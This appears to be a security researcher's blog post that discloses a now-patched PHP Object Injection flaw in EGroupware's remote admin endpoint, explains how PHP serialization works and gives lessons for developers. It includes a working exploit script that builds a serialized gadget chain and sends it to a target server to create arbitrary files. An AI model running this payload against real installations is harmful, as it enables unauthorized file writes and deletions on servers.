Last weekend my colleague Andreas Fischer and I decided to take a look at EGroupware which is a PHP-based groupware used by quite some renowned organizations especially in the German speaking part of Europe (for example Universities). Our 4 hour short audit lead to the discovery and patching of a few vulnerabilities, in this post I’m going to feature one of these bugs. More specifically a PHP Object Injection.

This post will also explain some basics about PHP Object Injections hopefully in a way that PHP developer should be able to understand them. The bug pointed out in this post is fixed in the newest available EGroupware version and has not yet any CVE assigned.

DISCLAIMER: Any knowledge gained by the following blog post shall be used for educational and research purposes only. The misuse of this information can result in criminal charges. (unless you are one of those NSA spies not caring about the law and data privacy)

What is serialization in a nutshell?

Serialization as a term describes generating a storable representation of a value and is pretty common in all languages. In PHP this means storing values in a text form without losing their type and structure. A common use-case is for example storing such values in the database or caching PHP objects.

Because a code snippet says usually more than thousand words, let’s take a look at the following code snippet. In this example we’re defining a class MyClass, instantiating it in $myClass and finally serizalizing the output:

<?php
class MyClass {
	public $string = '';

	function setString($value) {
		$this->string = $value;
	}

	function getString() {
		return $this->string;
	}
}

$myClass = new MyClass();
$myClass->setString('MyValue');

$serialized = serialize($myClass);
echo($serialized);

The output of the script would here be O:7:"MyClass":1:{s:6:"string";s:7:"MyValue";} which is the serialized value of $myClass. Developer can now use unserialize on this string which will instantiate the same class again with the same non-static class members. In the following script we’re doing exactly that which means that the output of this script will be MyValue:

<?php
class MyClass {
	public $string = '';

	public function setString($value) {
		$this->string = $value;
	}

	public function getString() {
		return $this->string;
	}
}

$myUnserializedClass = unserialize('O:7:"MyClass":1:{s:6:"string";s:7:"MyValue";}');
echo($myUnserializedClass->getString());

Where is the problem?

As your gut feeling might already tell you, passing user-input into unserialize might be a bad idea as an adversary could initialize any autoloaded class.

And this assumption is correct, when unserializing an object PHP will call magic functions such as __wakeup(). But also functions like __destruct() when there are no further references to the object.

Especially the __destruct() function is often used to perform clean-up jobs. For example changing some file contents or executing SQL queries. If one of the class members is passed to these functions this might allow an attacker to do nasty stuff as they are adversary controlled.

EGroupware and the unserialization

EGroupware uses unserialize a lot in the current the code-base, as a first step we grepped through all usages and tried to determine how likely it is that user-supplied input can be passed to this function.

We finally stumbled upon admin_cmd::instanciate($data) which looked like the following:

<?php

static function instanciate(array $data)
{
	if (isset($data['data']) && !is_array($data['data']))
	{
		$data['data'] = unserialize($data['data']);
	}
	
}

Using a decent IDE we traced back all usages of admin_cmd::instanciate and found the following usage in admin/remote.php:

<?php

$data = isset($_POST['uid']) ? $_POST : $_GET;

$cmd = admin_cmd::instanciate($data);

$cmd->check_remote_access($_REQUEST['secret'],$config_passwd);

This should ring an alarm bell for any Security Researcher. In this code snipped it looks indeed like the permission is checked after admin_cmd::instanciate has been called. And this assumption turned indeed out to be correct, now we only had to find an autoloaded class which has some __destruct or __wakeup method that does some clean-up stuff that could potentially lead to a further privilege escalation.

Luckily, EGroupware uses a ton of third-party libraries which use these methods for a lot of different stuff. However, one example that does not rely on third-party stuff being loaded is etemplate_request_files. The destructor of this class is performing file actions such as file_put_contents and unlink on now user-controlled input:

<?php
class etemplate_request_files extends etemplate_request
{

	function __destruct()
	{
		if ($this->remove_if_not_modified && !$this->data_modified)
		{
			//error_log(__METHOD__."() destroying $this->id");
			@unlink(self::$directory.'/'.$this->id);
		}
		elseif (!$this->destroyed && $this->data_modified &&
			!file_put_contents($filename = self::$directory.'/'.$this->id,serialize($this->data)))
		{
			error_log("Error opening '$filename' to store the etemplate request data!");
		}
	}
}

Constructing a payload that allows creation and deletion of arbitrary files on the server was now not far away. For actual exploitation it’s the copy the properties from the affected classes and modify them as wished. In this case this also means extending etemplate_request:

<?php
$remoteServer = 'http://{RemoteAddress}/egroupware/admin/remote.php';

// Serialize our dangerous payload
class etemplate_request {
   protected $data=array();
   protected $data_modified=false;
   protected $remove_if_not_modified=false;
   static protected $mcrypt;
   static public $compression_level = 6;
   static public $request_class;
}
class etemplate_request_files extends etemplate_request {
   function __construct(){}
   protected $id = '/tmp/HACKED';
   public $destroyed = false;
   protected $data_modified = 123;
   protected $data = "HACKED";
}
$popchain = serialize(new etemplate_request_files());

// Fire it to the remote server, the UID and Co. are to bypass some sanity
// checks
$exploitQuery = "?uid=a&type=b&creator_email=c&data=".urlencode($popchain);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remoteServer . $exploitQuery);
curl_exec($ch);
curl_close($ch);

When executing this script the class etemplate_request_files would now get invoked and immediately destructed, leading to the following code path:

<?php
class etemplate_request_files extends etemplate_request
{

	function __destruct()
	{
		// $this->remove_if_not_modified is bool(false) - this if block will get skipped
		if ($this->remove_if_not_modified && !$this->data_modified)
		{
			//error_log(__METHOD__."() destroying $this->id");
			@unlink(self::$directory.'/'.$this->id);
		}
		// $this->destroyed is bool(false)
		// $this->data_modified is int(123)
		// self::$directory is undefined
		// $this->id is string(/tmp/HACKED)
		// $this->data is string(HACKED)
		elseif (!$this->destroyed && $this->data_modified &&
			!file_put_contents($filename = self::$directory.'/'.$this->id,serialize($this->data)))
		{
			error_log("Error opening '$filename' to store the etemplate request data!");
		}
	}
}

Effectively using above script a file /tmp/HACKED with the content HACKED would have been created on the server running the EGroupware instance.

How it was fixed

The admin/remote.php file existed in similar since 2007 and turned out to be never actually have been used. The patch thus removed the remote admin interface and as an additional hardening modified admin_cmd::instanciate to not unserialize arbitrary PHP classes in the future.

Lessons learned

  1. Don’t ship unused files. If you use any somewhat modern source control software (such as Git) you can recover the file anytime later if you require it again.
  2. Don’t use unserialize if you don’t have to. In most cases using more secure methods such as json_decode will be sufficient as well. Though in future PHP versions there will be a more secure way to use unserialize. In this case the usage of json_decode would have achieved the same.
  3. If you use EGroupware: Update your instance right now. This is a critical vulnerability.

Get yourself involved with Open-Source Security

This does not mean that EGroupware would be inherently insecure or a bad product. Neither way it should be understood that there are not other bugs in EGroupware, it’s likely that there are others! It just shows again that way too few Security Researchers tend to contribute back to open-source projects.

However, communication with the EGroupware team was straightforward and they pushed a new release for this critical vulnerability as well as other bugs reported by us within less than three days.

I understand that the incentive offered by Bug Bounty programs might be more interesting than doing those kind of work for free, but still have the hope that at some point more parts of the security community understand that this kind of work can be rewarding as well. (though maybe not from a financial point-of-view)